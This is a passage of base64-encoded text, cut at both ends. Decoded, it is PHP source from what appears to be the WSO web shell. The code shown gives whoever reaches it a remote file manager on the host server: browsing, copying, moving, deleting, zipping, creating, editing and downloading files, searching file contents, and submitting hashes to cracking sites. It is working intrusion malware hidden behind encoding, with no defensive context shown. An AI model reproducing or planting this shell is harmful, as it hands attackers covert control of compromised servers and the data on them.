ICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgewog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZShyZWFs cGF0aCgka2V5KSwgJGtleSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10p OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAg ICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfU0VTU0lP TlsnYWN0J10gPT0gJ3VuemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScp KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAg ICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfU0VTU0lPTlsnYyddLiRmKSkg ewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFM U1snY3dkJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7 CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0K ICAgICAgICAgICAgICAgICAgICB9CgkJCQl9CgkJCQl1bnNldCgkX1NFU1NJT05bJ2YnXSk7CgkJ CQlicmVhazsKCQkJZGVmYXVsdDoKCQkJCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICgoJF9Q T1NUWydwMSddID09ICdjb3B5Jyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ21vdmUnKXx8KCRfUE9TVFsn cDEnXSA9PSAnemlwJyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ3VuemlwJykpICkgewoJCQkJCSRfU0VT U0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOwoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9T VFsnZiddOwoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpCgkJCQkJCSRf U0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CgkJCQkJJF9TRVNTSU9OWydjJ10gPSBA JF9QT1NUWydjJ107CgkJCQl9CgkJCQlicmVhazsKCQl9Cgl9CgkkZGlyQ29udGVudCA9IEBzY2Fu ZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwoJaWYo JGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7 d3NvRm9vdGVyKCk7IHJldHVybjsJfQoJZ2xvYmFsICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFt ZScsIDEpOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18o W0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJh eSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKCX0KZWNobyAiPHNjcmlwdD4KCWZ1bmN0aW9u IHNhKCkgewoJCWZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQoJ CQlpZihkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpCgkJCQlk b2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZG9jdW1lbnQuZmlsZXMuZWxlbWVu dHNbMF0uY2hlY2tlZDsKCX0KPC9zY3JpcHQ+Cjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21h aW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+Cjxmb3JtIG5hbWU9ZmlsZXMgbWV0 aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGlj az0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZp bGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90 aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8i Ligkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGlj az0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+ TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGlj az0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Q ZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CgkkZGlycyA9ICRmaWxl cyA9IGFycmF5KCk7CgkkbiA9IGNvdW50KCRkaXJDb250ZW50KTsKCWZvcigkaT0wOyRpPCRuOyRp KyspIHsKCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0p KTsKCQkkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsK CQkkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ3BhdGgnID0+ ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sCgkJCQkJICdtb2RpZnknID0+IGRhdGUo J1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0p KSwKCQkJCQkgJ3Blcm1zJyA9PiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29u dGVudFskaV0pLAoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGly Q29udGVudFskaV0pLAoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBm aWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8k Z3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKCQkJCQkpOwoJCWlmKEBpc19m aWxlKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5 X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmso JEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCgkJCSRkaXJzW10gPSBhcnJheV9tZXJn ZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnKSk7CgkJZWxzZWlmKEBpc19kaXIoJEdMT0JB TFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpCgkJ CSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKCX0K CSRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKCWZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIpIHsKCQlp ZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykKCQkJcmV0dXJuIHN0cmNtcChzdHJ0b2xv d2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29y dCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJCWVsc2UKCQkJcmV0dXJuICgo JGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8x Oi0xKTsKCX0KCXVzb3J0KCRmaWxlcywgIndzb0NtcCIpOwoJdXNvcnQoJGRpcnMsICJ3c29DbXAi KTsKCSRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOwoJJGwgPSAwOwoJZm9yZWFj aCgkZmlsZXMgYXMgJGYpIHsKCQllY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+ PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25h bWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsn dHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsn bmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidn KFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyI+PGI+WyAnLmh0bWxzcGVjaWFsY2hh cnMoJGZbJ25hbWUnXSkuJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdm aWxlJyk/d3NvVmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZb J21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48 dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2Rl KCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddCgkJCS4nPC90ZD48dGQ+ PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUo JGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0i ZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3Rv dWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGlj az0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBc J2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVs bCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicn KS4nPC90ZD48L3RyPic7CgkJJGwgPSAkbD8wOjE7Cgl9CgllY2hvICI8dHI+PHRkIGNvbHNwYW49 Nz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4KCTxpbnB1dCB0 eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydj d2QnXSkgLiInPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlz c2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+Cgk8c2VsZWN0 IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1 ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRp b24+IjsKICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKQogICAgICAgIGVjaG8gIjxv cHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1 bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7CiAgICBpZighZW1wdHkoJF9TRVNTSU9O WydhY3QnXSkmJkBjb3VudCgkX1NFU1NJT05bJ2YnXSkpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2 YWx1ZT0ncGFzdGUnPlBhc3RlIC8gemlwPC9vcHRpb24+IjsKICAgIGVjaG8gIjwvc2VsZWN0PiZu YnNwOzxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3Rh YmxlPjwvZGl2PiI7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMo KSB7CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRw KSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygn YmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkp O319CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2Np aSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMo JHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNj aWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxl bigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91 cHBlcigkcik7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5j dGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRp KSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319Cgkk c3RyaW5nVG9vbHMgPSBhcnJheSgKCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUn LAoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCgkJJ1VybCBlbmNvZGUnID0+ ICd1cmxlbmNvZGUnLAoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKCQknRnVsbCB1cmxl bmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCgkJJ21kNSBoYXNoJyA9PiAnbWQ1JywKCQknc2hh MSBoYXNoJyA9PiAnc2hhMScsCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLAoJCSdDUkMzMicgPT4gJ2Ny YzMyJywKCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKCQknSEVYIHRvIEFTQ0lJJyA9 PiAnaGV4MmFzY2lpJywKCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCgkJJ0hFWCB0byBCSU4n ID0+ICdoZXgyYmluJywKCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCgkJJ0RFQyB0byBCSU4n ID0+ICdkZWNiaW4nLAoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywKCQknQklOIHRvIERFQycg PT4gJ2JpbmRlYycsCgkJJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsCgkJ J1N0cmluZyB0byB1cHBlciBjYXNlJyA9PiAnc3RydG91cHBlcicsCgkJJ0h0bWxzcGVjaWFsY2hh cnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKCQknU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbics CgkpOwoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CgkJJF9TRVNTSU9OW21kNSgkX1NFUlZF UlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJaWYoaW5fYXJy YXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BP U1RbJ3AyJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQn KS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5p bm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSks IlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7 CgkJZXhpdDsKCX0KCXdzb0hlYWRlcigpOwoJZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwv aDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0 eSgkX1BPU1RbJ3AxJ10pKQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4n YWpheCddID0gZmFsc2U7CgllY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdp Zih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRo aXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0 aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9v bCc+IjsKCWZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQoJCWVjaG8gIjxvcHRpb24g dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsKCQllY2hv ICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0IHR5cGU9 Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hU VFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0 ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVh PiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMidd KSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRf UE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJP dXRwdXQnPiI7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKGluX2FycmF5KCRfUE9T VFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSdd KCRfUE9TVFsncDInXSkpOwoJfQoJZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCB0ZXh0 IGluIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJCTxmb3JtIG9uc3VibWl0PVwiZyhu dWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFs dWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScw JyB3aWR0aD0nNTAlJz4KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90ZD48dGQ+PGlucHV0 IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJ CTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1 ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6 MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3Rl eHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90 cj4KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwv dGQ+PC90cj4KCQkJPC90YWJsZT48L2Zvcm0+IjsKCglmdW5jdGlvbiB3c29SZWN1cnNpdmVHbG9i KCRwYXRoKSB7CgkJaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQoJCQkkcGF0aC49Jy8nOwoJ CSRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsn cDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOwoJCWlmKGlzX2FycmF5KCRw YXRocykmJkBjb3VudCgkcGF0aHMpKSB7CgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7CgkJ CQlpZihAaXNfZGlyKCRpdGVtKSl7CgkJCQkJaWYoJHBhdGghPSRpdGVtKQoJCQkJCQl3c29SZWN1 cnNpdmVHbG9iKCRpdGVtKTsKCQkJCX0gZWxzZSB7CgkJCQkJaWYoQHN0cnBvcyhAZmlsZV9nZXRf Y29udGVudHMoJGl0ZW0pLCBAJF9QT1NUWydwMiddKSE9PWZhbHNlKQoJCQkJCQllY2hvICI8YSBo cmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRl bSkuIlwiLCBcInZpZXdcIiknPiIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIjwvYT48YnI+IjsK CQkJCX0KCQkJfQoJCX0KCX0KCWlmKEAkX1BPU1RbJ3AzJ10pCgkJd3NvUmVjdXJzaXZlR2xvYigk X1BPU1RbJ2MnXSk7CgllY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxk aXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBu YW1lPSdoZic+CgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6 MjAwcHg7Jz48YnI+CgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2suY29t JyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20v aW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1 dHRvbicgdmFsdWU9J21pbHcwcm0uY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdo dHRwOi8vd3d3Lm1pbHcwcm0uY29tL2NyYWNrZXIvc2VhcmNoLnBocCc7ZG9jdW1lbnQuaGYuc3Vi bWl0KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcu aW5mbycgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcu aW5mby9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlw ZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50Lmhm LmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZh bHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlwZT0n YnV0dG9uJyB2YWx1ZT0nbWQ1ZGVjcnlwdGVyLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFj dGlvbj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClc Ij48YnI+CgkJPC9mb3JtPjwvZGl2PiI7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9u RmlsZXNUb29scygpIHsKCWlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkKCQkkX1BPU1RbJ3AxJ10g PSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsKCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcp IHsKCQlpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3Ax J10pKSB7CgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKCQkJaGVhZGVyKCJDb250 ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsn cDEnXSkpOwoJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CgkJ CQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwoJCQkJaGVhZGVyKCJD b250ZW50LVR5cGU6ICIuJHR5cGUpOwoJCQl9CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10s ICJyIik7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpCgkJCQkJZWNobyBAZnJl YWQoJGZwLCAxMDI0KTsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfWV4aXQ7Cgl9CglpZiggQCRf UE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSdd KSkgewoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwoJCQlpZigkZnApIHsKCQkJ CSRfUE9TVFsncDInXSA9ICJlZGl0IjsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfQoJfQoJd3Nv SGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7 CglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90IGV4 aXN0cyc7CgkJd3NvRm9vdGVyKCk7CgkJcmV0dXJuOwoJfQoJJHVpZCA9IEBwb3NpeF9nZXRwd3Vp ZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwoJaWYoISR1aWQpIHsKCQkkdWlkWyduYW1lJ10g PSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7CgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgk X1BPU1RbJ3AxJ10pOwoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgk X1BPU1RbJ3AxJ10pKTsKCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hh cnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2Zp 